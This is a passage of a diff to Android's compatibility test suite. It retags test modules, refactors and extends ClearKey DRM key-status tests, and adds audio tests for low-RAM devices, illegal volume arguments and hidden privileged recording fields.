private void checkRsaKeyDetails(Attestation attestation, int keySize, int purposes,
diff --git a/tests/tests/libcorefileio/Android.mk b/tests/tests/libcorefileio/Android.mk
index d329c9d..cfd9775 100644
--- a/tests/tests/libcorefileio/Android.mk
+++ b/tests/tests/libcorefileio/Android.mk
@@ -28,6 +28,6 @@
LOCAL_PACKAGE_NAME := CtsLibcoreFileIOTestCases
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/libcorelegacy22/Android.mk b/tests/tests/libcorelegacy22/Android.mk
index 408fd3b..d2468c3 100644
--- a/tests/tests/libcorelegacy22/Android.mk
+++ b/tests/tests/libcorelegacy22/Android.mk
@@ -30,6 +30,6 @@
LOCAL_SDK_VERSION := 22
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/libcorelegacy22/AndroidTest.xml b/tests/tests/libcorelegacy22/AndroidTest.xml
index 20ce1d9..d5409d7 100644
--- a/tests/tests/libcorelegacy22/AndroidTest.xml
+++ b/tests/tests/libcorelegacy22/AndroidTest.xml
@@ -14,6 +14,7 @@
limitations under the License.
-->
<configuration description="Config for CTS Legacy Libcore test cases">
+ <option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="libcore" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/location/Android.mk b/tests/tests/location/Android.mk
index 1da9525..a0b8142 100644
--- a/tests/tests/location/Android.mk
+++ b/tests/tests/location/Android.mk
@@ -48,7 +48,7 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner apache-commons-math
diff --git a/tests/tests/location2/Android.mk b/tests/tests/location2/Android.mk
index a081213..5b9f327 100644
--- a/tests/tests/location2/Android.mk
+++ b/tests/tests/location2/Android.mk
@@ -22,7 +22,7 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner junit legacy-android-test
diff --git a/tests/tests/media/Android.mk b/tests/tests/media/Android.mk
index b7ae9d2..e03eb76 100644
--- a/tests/tests/media/Android.mk
+++ b/tests/tests/media/Android.mk
@@ -77,7 +77,7 @@
LOCAL_JAVA_LIBRARIES += android.test.runner org.apache.http.legacy
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/media/libaudiojni/audio-record-native.cpp b/tests/tests/media/libaudiojni/audio-record-native.cpp
index f771d9b..f0211e6 100644
--- a/tests/tests/media/libaudiojni/audio-record-native.cpp
+++ b/tests/tests/media/libaudiojni/audio-record-native.cpp
@@ -320,6 +320,7 @@
b->mOffset += tocopy;
if (b->mOffset == b->mSize) {
mReadyQueue.pop_front();
+ queueBuffers();
}
}
copied = osize - size;
diff --git a/tests/tests/media/libmediandkjni/native-mediadrm-jni.cpp b/tests/tests/media/libmediandkjni/native-mediadrm-jni.cpp
index aa549b2..a94bbb0 100644
--- a/tests/tests/media/libmediandkjni/native-mediadrm-jni.cpp
+++ b/tests/tests/media/libmediandkjni/native-mediadrm-jni.cpp
@@ -493,6 +493,54 @@
}
}
+static void acquireLicense(
+ JNIEnv* env, const AMediaObjects& aMediaObjects, const AMediaDrmSessionId& sessionId,
+ AMediaDrmKeyType keyType) {
+ // Pointer to keyRequest memory, which remains until the next
+ // AMediaDrm_getKeyRequest call or until the drm object is released.
+ const uint8_t* keyRequest;
+ size_t keyRequestSize = 0;
+ std::string errorMessage;
+
+ // The server recognizes "video/mp4" but not "video/avc".
+ media_status_t status = AMediaDrm_getKeyRequest(aMediaObjects.getDrm(),
+ &sessionId, kClearkeyPssh, sizeof(kClearkeyPssh),
+ "video/mp4" /*mimeType*/, keyType,
+ NULL, 0, &keyRequest, &keyRequestSize);
+ if (status != AMEDIA_OK) {
+ errorMessage.assign("getKeyRequest failed, error = %d");
+ goto errorOut;
+ }
+
+ if (kKeyRequestSize != keyRequestSize) {
+ ALOGE("Invalid keyRequestSize %zd", kKeyRequestSize);
+ errorMessage.assign("Invalid key request size, error = %d");
+ status = AMEDIA_DRM_NEED_KEY;
+ goto errorOut;
+ }
+
+ if (memcmp(kKeyRequestData, keyRequest, kKeyRequestSize) != 0) {
+ errorMessage.assign("Invalid key request data is returned, error = %d");
+ status = AMEDIA_DRM_NEED_KEY;
+ goto errorOut;
+ }
+
+ AMediaDrmKeySetId keySetId;
+ gGotVendorDefinedEvent = false;
+ status = AMediaDrm_provideKeyResponse(aMediaObjects.getDrm(), &sessionId,
+ reinterpret_cast<const uint8_t*>(kResponse),
+ sizeof(kResponse), &keySetId);
+ if (status == AMEDIA_OK) {
+ return; // success
+ }
+
+ errorMessage.assign("provideKeyResponse failed, error = %d");
+
+errorOut:
+ AMediaDrm_closeSession(aMediaObjects.getDrm(), &sessionId);
+ jniThrowExceptionFmt(env, "java/lang/RuntimeException", errorMessage.c_str(), status);
+}
+
extern "C" jboolean Java_android_media_cts_NativeClearKeySystemTest_testClearKeyPlaybackNative(
JNIEnv* env, jclass /*clazz*/, jbyteArray uuid, jobject playbackParams) {
if (NULL == uuid || NULL == playbackParams) {
@@ -562,44 +610,7 @@
return JNI_FALSE;
}
- // Pointer to keyRequest memory, which remains until the next
- // AMediaDrm_getKeyRequest call or until the drm object is released.
- const uint8_t* keyRequest;
- size_t keyRequestSize = 0;
-
- // The server recognizes "video/mp4" but not "video/avc".
- status = AMediaDrm_getKeyRequest(aMediaObjects.getDrm(), &sessionId,
- kClearkeyPssh, sizeof(kClearkeyPssh),
- "video/mp4" /*mimeType*/, KEY_TYPE_STREAMING,
- NULL, 0, &keyRequest, &keyRequestSize);
- if (status != AMEDIA_OK) {
- jniThrowExceptionFmt(env, "java/lang/RuntimeException",
- "getKeyRequest failed, error = %d", status);
- AMediaDrm_closeSession(aMediaObjects.getDrm(), &sessionId);
- return JNI_FALSE;
- }
-
- if (kKeyRequestSize != keyRequestSize) {
- ALOGE("Invalid keyRequestSize %zd", keyRequestSize);
- return JNI_FALSE;
- }
-
- if (memcmp(kKeyRequestData, keyRequest, kKeyRequestSize) != 0) {
- ALOGE("Invalid keyRequest data is returned");
- return JNI_FALSE;
- }
-
- AMediaDrmKeySetId keySetId;
- gGotVendorDefinedEvent = false;
- status = AMediaDrm_provideKeyResponse(aMediaObjects.getDrm(), &sessionId,
- reinterpret_cast<const uint8_t*>(kResponse),
- sizeof(kResponse), &keySetId);
- if (status != AMEDIA_OK) {
- jniThrowExceptionFmt(env, "java/lang/RuntimeException",
- "provideKeyResponse failed, error = %d", status);
- AMediaDrm_closeSession(aMediaObjects.getDrm(), &sessionId);
- return JNI_FALSE;
- }
+ acquireLicense(env, aMediaObjects, sessionId, KEY_TYPE_STREAMING);
// Check if the event listener has received the expected event sent by
// provideKeyResponse. This is for testing AMediaDrm_setOnEventListener().
@@ -635,6 +646,99 @@
return JNI_TRUE;
}
+extern "C" jboolean Java_android_media_cts_NativeClearKeySystemTest_testQueryKeyStatusNative(
+ JNIEnv* env, jclass /*clazz*/, jbyteArray uuid) {
+
+ if (NULL == uuid) {
+ jniThrowException(env, "java/lang/NullPointerException", "null uuid");
+ return JNI_FALSE;
+ }
+
+ Uuid juuid = jbyteArrayToUuid(env, uuid);
+ if (!isUuidSizeValid(juuid)) {
+ jniThrowExceptionFmt(env, "java/lang/IllegalArgumentException",
+ "invalid UUID size, expected %u bytes", kUuidSize);
+ return JNI_FALSE;
+ }
+
+ AMediaObjects aMediaObjects;
+ media_status_t status = AMEDIA_OK;
+ aMediaObjects.setDrm(AMediaDrm_createByUUID(&juuid[0]));
+ if (NULL == aMediaObjects.getDrm()) {
+ jniThrowException(env, "java/lang/RuntimeException", "failed to create drm");
+ return JNI_FALSE;
+ }
+
+ AMediaDrmSessionId sessionId;
+ status = AMediaDrm_openSession(aMediaObjects.getDrm(), &sessionId);
+ if (status != AMEDIA_OK) {
+ jniThrowException(env, "java/lang/RuntimeException",
+ "openSession failed");
+ return JNI_FALSE;
+ }
+
+ size_t numPairs = 3;
+ AMediaDrmKeyValue keyStatus[numPairs];
+
+ // Test default key status, should return zero key status
+ status = AMediaDrm_queryKeyStatus(aMediaObjects.getDrm(), &sessionId, keyStatus, &numPairs);
+ if (status != AMEDIA_OK) {
+ jniThrowExceptionFmt(env, "java/lang/RuntimeException",
+ "AMediaDrm_queryKeyStatus failed, error = %d", status);
+ AMediaDrm_closeSession(aMediaObjects.getDrm(), &sessionId);
+ return JNI_FALSE;
+ }
+
+ if (numPairs != 0) {
+ jniThrowExceptionFmt(env, "java/lang/RuntimeException",
+ "AMediaDrm_queryKeyStatus failed, no policy should be defined");
+ AMediaDrm_closeSession(aMediaObjects.getDrm(), &sessionId);
+ return JNI_FALSE;
+ }
+
+ acquireLicense(env, aMediaObjects, sessionId, KEY_TYPE_STREAMING);
+
+ // Test short buffer
+ numPairs = 2;
+ status = AMediaDrm_queryKeyStatus(aMediaObjects.getDrm(), &sessionId, keyStatus, &numPairs);
+ if (status != AMEDIA_DRM_SHORT_BUFFER) {
+ jniThrowExceptionFmt(env, "java/lang/RuntimeException",
+ "AMediaDrm_queryKeyStatus should return AMEDIA_DRM_SHORT_BUFFER, error = %d",
+ status);
+ AMediaDrm_closeSession(aMediaObjects.getDrm(), &sessionId);
+ return JNI_FALSE;
+ }
+
+ // Test valid key status
+ numPairs = 3;
+ status = AMediaDrm_queryKeyStatus(aMediaObjects.getDrm(), &sessionId, keyStatus, &numPairs);
+ if (status != AMEDIA_OK) {
+ jniThrowExceptionFmt(env, "java/lang/RuntimeException",
+ "AMediaDrm_queryKeyStatus failed, error = %d", status);
+ AMediaDrm_closeSession(aMediaObjects.getDrm(), &sessionId);
+ return JNI_FALSE;
+ }
+
+ for (size_t i = 0; i < numPairs; ++i) {
+ ALOGI("AMediaDrm_queryKeyStatus: key=%s, value=%s", keyStatus[i].mKey, keyStatus[i].mValue);
+ }
+
+ if (numPairs != 3) {
+ jniThrowExceptionFmt(env, "java/lang/RuntimeException",
+ "AMediaDrm_queryKeyStatus returns %zd key status, expecting 3", numPairs);
+ AMediaDrm_closeSession(aMediaObjects.getDrm(), &sessionId);
+ return JNI_FALSE;
+ }
+
+ status = AMediaDrm_closeSession(aMediaObjects.getDrm(), &sessionId);
+ if (status != AMEDIA_OK) {
+ jniThrowException(env, "java/lang/RuntimeException",
+ "closeSession failed");
+ return JNI_FALSE;
+ }
+ return JNI_TRUE;
+}
+
static JNINativeMethod gMethods[] = {
{ "isCryptoSchemeSupportedNative", "([B)Z",
(void *)Java_android_media_cts_NativeClearKeySystemTest_isCryptoSchemeSupportedNative },
@@ -649,6 +753,9 @@
{ "testPsshNative", "([BLjava/lang/String;)Z",
(void *)Java_android_media_cts_NativeClearKeySystemTest__testPsshNative },
+
+ { "testQueryKeyStatusNative", "([B)Z",
+ (void *)Java_android_media_cts_NativeClearKeySystemTest_testQueryKeyStatusNative },
};
int register_android_media_cts_NativeClearKeySystemTest(JNIEnv* env) {
diff --git a/tests/tests/media/res/raw/binary_counter_320x240_720x240_30fps_600frames.mp4 b/tests/tests/media/res/raw/binary_counter_320x240_720x240_30fps_600frames.mp4
new file mode 100644
index 0000000..2822d20
--- /dev/null
+++ b/tests/tests/media/res/raw/binary_counter_320x240_720x240_30fps_600frames.mp4
Binary files differ
diff --git a/tests/tests/media/res/raw/gb18030_utf8_mixed_1.mp3 b/tests/tests/media/res/raw/gb18030_utf8_mixed_1.mp3
new file mode 100644
index 0000000..af2c7ac
--- /dev/null
+++ b/tests/tests/media/res/raw/gb18030_utf8_mixed_1.mp3
Binary files differ
diff --git a/tests/tests/media/res/raw/gb18030_utf8_mixed_2.mp3 b/tests/tests/media/res/raw/gb18030_utf8_mixed_2.mp3
new file mode 100644
index 0000000..d1c88fe
--- /dev/null
+++ b/tests/tests/media/res/raw/gb18030_utf8_mixed_2.mp3
Binary files differ
diff --git a/tests/tests/media/res/raw/gb18030_utf8_mixed_3.mp3 b/tests/tests/media/res/raw/gb18030_utf8_mixed_3.mp3
new file mode 100644
index 0000000..ddae12f
--- /dev/null
+++ b/tests/tests/media/res/raw/gb18030_utf8_mixed_3.mp3
Binary files differ
diff --git a/tests/tests/media/res/raw/iso88591_utf8_mixed_1.mp3 b/tests/tests/media/res/raw/iso88591_utf8_mixed_1.mp3
new file mode 100644
index 0000000..78bad13
--- /dev/null
+++ b/tests/tests/media/res/raw/iso88591_utf8_mixed_1.mp3
Binary files differ
diff --git a/tests/tests/media/res/raw/iso88591_utf8_mixed_2.mp3 b/tests/tests/media/res/raw/iso88591_utf8_mixed_2.mp3
new file mode 100644
index 0000000..c7d8429
--- /dev/null
+++ b/tests/tests/media/res/raw/iso88591_utf8_mixed_2.mp3
Binary files differ
diff --git a/tests/tests/media/res/raw/iso88591_utf8_mixed_3.mp3 b/tests/tests/media/res/raw/iso88591_utf8_mixed_3.mp3
new file mode 100644
index 0000000..c8d4afa
--- /dev/null
+++ b/tests/tests/media/res/raw/iso88591_utf8_mixed_3.mp3
Binary files differ
diff --git a/tests/tests/media/src/android/media/cts/AdaptivePlaybackTest.java b/tests/tests/media/src/android/media/cts/AdaptivePlaybackTest.java
index 12432d6..2e7a848 100644
--- a/tests/tests/media/src/android/media/cts/AdaptivePlaybackTest.java
+++ b/tests/tests/media/src/android/media/cts/AdaptivePlaybackTest.java
@@ -204,7 +204,7 @@
public void onlyH263SW() { ex(H263(SW), allTests); }
public void bytebuffer() { ex(H264(SW), new EarlyEosTest().byteBuffer()); }
- public void texture() { ex(H264(HW), new EarlyEosTest().texture()); }
+ public void onlyTexture() { ex(H264(HW), new EarlyEosTest().texture()); }
/* inidividual tests */
public void testH264_adaptiveEarlyEos() { ex(H264(), adaptiveEarlyEos); }
diff --git a/tests/tests/media/src/android/media/cts/AudioManagerTest.java b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
index 74b8b4d..ab7e4b6 100644
--- a/tests/tests/media/src/android/media/cts/AudioManagerTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
@@ -36,6 +36,7 @@
import static android.media.AudioManager.VIBRATE_TYPE_RINGER;
import static android.provider.Settings.System.SOUND_EFFECTS_ENABLED;
+import android.app.ActivityManager;
import android.app.NotificationManager;
import android.content.Context;
import android.content.res.Resources;
@@ -65,9 +66,15 @@
private boolean mIsTelevision;
private boolean mIsSingleVolume;
private boolean mSkipRingerTests;
+ // From N onwards, ringer mode adjustments that toggle DND are not allowed unless
+ // package has DND access. Many tests in this package toggle DND access in order
+ // to get device out of the DND state for the test to proceed correctly.
+ // But DND access is disabled completely on low ram devices,
+ // so completely skip those tests here.
+ // These tests are migrated to CTS verifier tests to ensure test coverage.
+ private boolean mSupportNotificationPolicyAccess;
private Context mContext;
private final static int ASYNC_TIMING_TOLERANCE_MS = 50;
-
private int mOriginalRingerMode;
private Map<Integer, Integer> mOriginalStreamVolumes = new HashMap<>();
@@ -89,6 +96,8 @@
mIsSingleVolume = mContext.getResources().getBoolean(
Resources.getSystem().getIdentifier("config_single_volume", "bool", "android"));
mSkipRingerTests = mUseFixedVolume || mIsTelevision || mIsSingleVolume;
+ ActivityManager am = (ActivityManager) mContext.getSystemService(Context.ACTIVITY_SERVICE);
+ mSupportNotificationPolicyAccess = !am.isLowRamDevice();
// Store the original volumes that that they can be recovered in tearDown().
final int[] streamTypes = {
@@ -109,6 +118,9 @@
@Override
protected void tearDown() throws Exception {
+ if (!mSupportNotificationPolicyAccess) {
+ return;
+ }
try {
Utils.toggleNotificationPolicyAccess(
mContext.getPackageName(), getInstrumentation(), true);
@@ -133,15 +145,6 @@
}
public void testSoundEffects() throws Exception {
- try {
- Utils.toggleNotificationPolicyAccess(
- mContext.getPackageName(), getInstrumentation(), true);
- // set relative setting
- mAudioManager.setRingerMode(AudioManager.RINGER_MODE_NORMAL);
- } finally {
- Utils.toggleNotificationPolicyAccess(
- mContext.getPackageName(), getInstrumentation(), false);
- }
Settings.System.putInt(mContext.getContentResolver(), SOUND_EFFECTS_ENABLED, 1);
// should hear sound after loadSoundEffects() called.
@@ -239,7 +242,7 @@
}
public void testVibrateNotification() throws Exception {
- if (mUseFixedVolume || !mHasVibrator) {
+ if (mUseFixedVolume || !mHasVibrator || !mSupportNotificationPolicyAccess) {
return;
}
Utils.toggleNotificationPolicyAccess(
@@ -302,7 +305,7 @@
}
public void testVibrateRinger() throws Exception {
- if (mUseFixedVolume || !mHasVibrator) {
+ if (mUseFixedVolume || !mHasVibrator || !mSupportNotificationPolicyAccess) {
return;
}
Utils.toggleNotificationPolicyAccess(
@@ -366,6 +369,9 @@
}
public void testAccessRingMode() throws Exception {
+ if (!mSupportNotificationPolicyAccess) {
+ return;
+ }
Utils.toggleNotificationPolicyAccess(
mContext.getPackageName(), getInstrumentation(), true);
mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
@@ -390,7 +396,7 @@
}
public void testSetRingerModePolicyAccess() throws Exception {
- if (mSkipRingerTests) {
+ if (mSkipRingerTests || !mSupportNotificationPolicyAccess) {
return;
}
// Apps without policy access cannot change silent -> normal or silent -> vibrate.
@@ -453,7 +459,7 @@
}
public void testVolumeDndAffectedStream() throws Exception {
- if (mHasVibrator || mSkipRingerTests) {
+ if (mHasVibrator || mSkipRingerTests || !mSupportNotificationPolicyAccess) {
return;
}
Utils.toggleNotificationPolicyAccess(
@@ -493,6 +499,9 @@
}
public void testVolume() throws Exception {
+ if (!mSupportNotificationPolicyAccess) {
+ return;
+ }
Utils.toggleNotificationPolicyAccess(
mContext.getPackageName(), getInstrumentation(), true);
int volume, volumeDelta;
@@ -708,7 +717,7 @@
}
public void testMuteDndAffectedStreams() throws Exception {
- if (mSkipRingerTests) {
+ if (mSkipRingerTests || !mSupportNotificationPolicyAccess) {
return;
}
int[] streams = { AudioManager.STREAM_RING };
@@ -782,7 +791,7 @@
}
public void testMuteDndUnaffectedStreams() throws Exception {
- if (mSkipRingerTests) {
+ if (mSkipRingerTests || !mSupportNotificationPolicyAccess) {
return;
}
int[] streams = {
@@ -868,7 +877,7 @@
}
public void testAdjustVolumeInTotalSilenceMode() throws Exception {
- if (mSkipRingerTests) {
+ if (mSkipRingerTests || !mSupportNotificationPolicyAccess) {
return;
}
try {
@@ -888,7 +897,7 @@
}
public void testAdjustVolumeInAlarmsOnlyMode() throws Exception {
- if (mSkipRingerTests) {
+ if (mSkipRingerTests || !mSupportNotificationPolicyAccess) {
return;
}
try {
@@ -911,7 +920,7 @@
}
public void testSetStreamVolumeInTotalSilenceMode() throws Exception {
- if (mSkipRingerTests) {
+ if (mSkipRingerTests || !mSupportNotificationPolicyAccess) {
return;
}
try {
@@ -933,7 +942,7 @@
}
public void testSetStreamVolumeInAlarmsOnlyMode() throws Exception {
- if (mSkipRingerTests) {
+ if (mSkipRingerTests || !mSupportNotificationPolicyAccess) {
return;
}
try {
@@ -953,6 +962,19 @@
}
}
+ public void testAdjustVolumeWithIllegalDirection() throws Exception {
+ // Call the method with illegal direction. System should not reboot.
+ mAudioManager.adjustVolume(37, 0);
+ }
+
+ public void testAdjustSuggestedStreamVolumeWithIllegalArguments() throws Exception {
+ // Call the method with illegal direction. System should not reboot.
+ mAudioManager.adjustSuggestedStreamVolume(37, AudioManager.STREAM_MUSIC, 0);
+
+ // Call the method with illegal stream. System should not reboot.
+ mAudioManager.adjustSuggestedStreamVolume(AudioManager.ADJUST_RAISE, 66747, 0);
+ }
+
private void setInterruptionFilter(int filter) throws Exception {
mNm.setInterruptionFilter(filter);
for (int i = 0; i < 5; i++) {
diff --git a/tests/tests/media/src/android/media/cts/AudioRecordingConfigurationTest.java b/tests/tests/media/src/android/media/cts/AudioRecordingConfigurationTest.java
index 61edbba..068087d 100644
--- a/tests/tests/media/src/android/media/cts/AudioRecordingConfigurationTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioRecordingConfigurationTest.java
@@ -20,6 +20,7 @@
import android.media.AudioDeviceInfo;
import android.media.AudioFormat;
import android.media.AudioManager;
+import android.media.AudioPlaybackConfiguration;
import android.media.AudioRecord;
import android.media.AudioRecordingConfiguration;
import android.media.MediaRecorder;
@@ -31,6 +32,7 @@
import com.android.compatibility.common.util.CtsAndroidTestCase;
+import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
@@ -127,6 +129,9 @@
verifyAudioConfig(TEST_AUDIO_SOURCE, mAudioRecord.getAudioSessionId(),
mAudioRecord.getFormat(), mAudioRecord.getRoutedDevice(), configs));
+ // testing public API here: verify no system-privileged info is exposed through reflection
+ verifyPrivilegedInfoIsSafe(configs.get(0));
+
// stopping recording: verify there are less active record configurations
mAudioRecord.stop();
Thread.sleep(SLEEP_AFTER_STOP_FOR_INACTIVITY_MS);
@@ -181,6 +186,10 @@
testDevice, callback.mConfigs);
assertTrue("Expected record configuration was not found", match);
+ // testing public API here: verify no system-privileged info is exposed through
+ // reflection
+ verifyPrivilegedInfoIsSafe(callback.mConfigs.get(0));
+
// stopping recording: callback is called with no match
callback.reset();
mAudioRecord.stop();
@@ -303,4 +312,20 @@
return getContext().getPackageManager().hasSystemFeature(
PackageManager.FEATURE_MICROPHONE);
}
+
+ private static void verifyPrivilegedInfoIsSafe(AudioRecordingConfiguration config) {
+ // verify "privileged" fields aren't available through reflection
+ final Class<?> confClass = config.getClass();
+ try {
+ final Method getClientUidMethod = confClass.getDeclaredMethod("getClientUid");
+ final Method getClientPackageName = confClass.getDeclaredMethod("getClientPackageName");
+ Integer uid = (Integer) getClientUidMethod.invoke(config, null);
+ assertEquals("client uid isn't protected", -1 /*expected*/, uid.intValue());
+ String name = (String) getClientPackageName.invoke(config, null);
+ assertNotNull("client package name is null", name);
+ assertEquals("client package name isn't protected", 0 /*expected*/, name.length());
+ } catch (Exception e) {
+ fail("Exception thrown during reflection on config privileged fields" + e);
+ }
+ }
}
diff --git a/tests/tests/media/src/android/media/cts/ClearKeySystemTest.java b/tests/tests/media/src/android/media/cts/ClearKeySystemTest.java
index 30822b4..a6edd37 100644
--- a/tests/tests/media/src/android/media/cts/ClearKeySystemTest.java
+++ b/tests/tests/media/src/android/media/cts/ClearKeySystemTest.java
@@ -15,42 +15,33 @@
*/
package android.media.cts;
-import com.android.compatibility.common.util.ApiLevelUtil;
-
-import android.content.Context;
import android.content.pm.PackageManager;
-import android.media.MediaCodec;
-import android.media.MediaCodecInfo;
+import android.media.CamcorderProfile;
import android.media.MediaCodecInfo.CodecCapabilities;
-import android.media.MediaCodecInfo.CodecProfileLevel;
import android.media.MediaCodecList;
import android.media.MediaDrm;
import android.media.MediaDrmException;
import android.media.MediaFormat;
-import android.media.CamcorderProfile;
import android.net.Uri;
-import android.os.Environment;
import android.os.Looper;
-import android.test.ActivityInstrumentationTestCase2;
+import android.support.annotation.NonNull;
import android.util.Base64;
import android.util.Log;
import android.view.SurfaceHolder;
-import java.io.IOException;
-import java.nio.ByteBuffer;
-import java.nio.CharBuffer;
-import java.nio.charset.Charset;
-import java.util.ArrayList;
-import java.util.concurrent.TimeUnit;
-import java.util.List;
-import java.util.Map;
-import java.util.UUID;
-import java.util.Vector;
+import com.android.compatibility.common.util.ApiLevelUtil;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
+import java.nio.charset.Charset;
+import java.util.HashMap;
+import java.util.Set;
+import java.util.UUID;
+import java.util.Vector;
+import java.util.concurrent.TimeUnit;
+
/**
* Tests of MediaPlayer streaming capabilities.
*/
@@ -87,15 +78,17 @@
private static final Uri MPEG2TS_CLEAR_URL = Uri.parse(
"android.resource://android.media.cts/" + R.raw.segment000001);
- private static final UUID CLEARKEY_SCHEME_UUID =
+ private static final UUID COMMON_PSSH_SCHEME_UUID =
new UUID(0x1077efecc0b24d02L, 0xace33c1e52e2fb4bL);
+ private static final UUID CLEARKEY_SCHEME_UUID =
+ new UUID(0xe2719d58a985b3c9L, 0x781ab030af78d30eL);
private byte[] mDrmInitData;
private byte[] mSessionId;
private Looper mLooper;
private MediaCodecClearKeyPlayer mMediaCodecPlayer;
- private MediaDrm mDrm;
- private Object mLock = new Object();
+ private MediaDrm mDrm = null;
+ private final Object mLock = new Object();
private SurfaceHolder mSurfaceHolder;
@Override
@@ -111,6 +104,10 @@
super.tearDown();
}
+ private boolean isWatchDevice() {
+ return mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH);
+ }
+
private boolean deviceHasMediaDrm() {
// ClearKey is introduced after KitKat.
if (ApiLevelUtil.isAtMost(android.os.Build.VERSION_CODES.KITKAT)) {
@@ -220,10 +217,18 @@
}
}
- private MediaDrm startDrm(final byte[][] clearKeys, final String initDataType) {
+ private @NonNull MediaDrm startDrm(final byte[][] clearKeys, final String initDataType, final UUID drmSchemeUuid) {
+ if (!MediaDrm.isCryptoSchemeSupported(drmSchemeUuid)) {
+ throw new Error("Crypto scheme is not supported.");
+ }
+
new Thread() {
@Override
public void run() {
+ if (mDrm != null) {
+ Log.e(TAG, "Failed to startDrm: already started");
+ return;
+ }
// Set up a looper to handle events
Looper.prepare();
@@ -232,7 +237,7 @@
mLooper = Looper.myLooper();
try {
- mDrm = new MediaDrm(CLEARKEY_SCHEME_UUID);
+ mDrm = new MediaDrm(drmSchemeUuid);
} catch (MediaDrmException e) {
Log.e(TAG, "Failed to create MediaDrm: " + e.getMessage());
return;
@@ -275,9 +280,11 @@
Log.e(TAG, "invalid drm specified in stopDrm");
}
mLooper.quit();
+ mDrm.release();
+ mDrm = null;
}
- private byte[] openSession(MediaDrm drm) {
+ private @NonNull byte[] openSession(MediaDrm drm) {
byte[] mSessionId = null;
boolean mRetryOpen;
do {
@@ -295,7 +302,7 @@
drm.closeSession(sessionId);
}
- public boolean isResolutionSupported(String mime, String[] features,
+ private boolean isResolutionSupported(String mime, String[] features,
int videoWidth, int videoHeight) {
if (ApiLevelUtil.isBefore(android.os.Build.VERSION_CODES.JELLY_BEAN)) {
if (videoHeight <= 144) {
@@ -331,23 +338,21 @@
* Tests clear key system playback.
*/
private void testClearKeyPlayback(
+ UUID drmSchemeUuid,
String videoMime, String[] videoFeatures,
String initDataType, byte[][] clearKeys,
Uri audioUrl, boolean audioEncrypted,
Uri videoUrl, boolean videoEncrypted,
int videoWidth, int videoHeight, boolean scrambled) throws Exception {
+
+ if (isWatchDevice()) {
+ return;
+ }
+
MediaDrm drm = null;
mSessionId = null;
if (!scrambled) {
- drm = startDrm(clearKeys, initDataType);
- if (null == drm) {
- throw new Error("Failed to create drm.");
- }
-
- if (!drm.isCryptoSchemeSupported(CLEARKEY_SCHEME_UUID)) {
- stopDrm(drm);
- throw new Error("Crypto scheme is not supported.");
- }
+ drm = startDrm(clearKeys, initDataType, drmSchemeUuid);
mSessionId = openSession(drm);
}
@@ -411,8 +416,83 @@
}
}
+ private boolean queryKeyStatus(@NonNull final MediaDrm drm, @NonNull final byte[] sessionId) {
+ final HashMap<String, String> keyStatus = drm.queryKeyStatus(sessionId);
+ if (keyStatus.isEmpty()) {
+ Log.e(TAG, "queryKeyStatus: empty key status");
+ return false;
+ }
+
+ final Set<String> keySet = keyStatus.keySet();
+ final int numKeys = keySet.size();
+ final String[] keys = keySet.toArray(new String[numKeys]);
+ for (int i = 0; i < numKeys; ++i) {
+ final String key = keys[i];
+ Log.i(TAG, "queryKeyStatus: key=" + key + ", value=" + keyStatus.get(key));
+ }
+
+ return true;
+ }
+
+ public void testQueryKeyStatus() throws Exception {
+ if (isWatchDevice()) {
+ // skip this test on watch because it calls
+ // addTrack that requires codec
+ return;
+ }
+
+ MediaDrm drm = startDrm(new byte[][] { CLEAR_KEY_CENC }, "cenc",
+ CLEARKEY_SCHEME_UUID);
+
+ mSessionId = openSession(drm);
+
+ // Test default key status, should not be defined
+ final HashMap<String, String> keyStatus = drm.queryKeyStatus(mSessionId);
+ if (!keyStatus.isEmpty()) {
+ closeSession(drm, mSessionId);
+ stopDrm(drm);
+ throw new Error("query default key status failed");
+ }
+
+ // Test valid key status
+ mMediaCodecPlayer = new MediaCodecClearKeyPlayer(
+ getActivity().getSurfaceHolder(),
+ mSessionId, false,
+ mContext.getResources());
+ mMediaCodecPlayer.setAudioDataSource(CENC_AUDIO_URL, null, false);
+ mMediaCodecPlayer.setVideoDataSource(CENC_VIDEO_URL, null, true);
+ mMediaCodecPlayer.start();
+ mMediaCodecPlayer.prepare();
+
+ mDrmInitData = mMediaCodecPlayer.getDrmInitData();
+ getKeys(drm, "cenc", mSessionId, mDrmInitData, new byte[][] { CLEAR_KEY_CENC });
+ boolean success = true;
+ if (!queryKeyStatus(drm, mSessionId)) {
+ success = false;
+ }
+
+ mMediaCodecPlayer.reset();
+ closeSession(drm, mSessionId);
+ stopDrm(drm);
+ if (!success) {
+ throw new Error("query key status failed");
+ }
+ }
+
public void testClearKeyPlaybackCenc() throws Exception {
testClearKeyPlayback(
+ COMMON_PSSH_SCHEME_UUID,
+ // using secure codec even though it is clear key DRM
+ MIME_VIDEO_AVC, new String[] { CodecCapabilities.FEATURE_SecurePlayback },
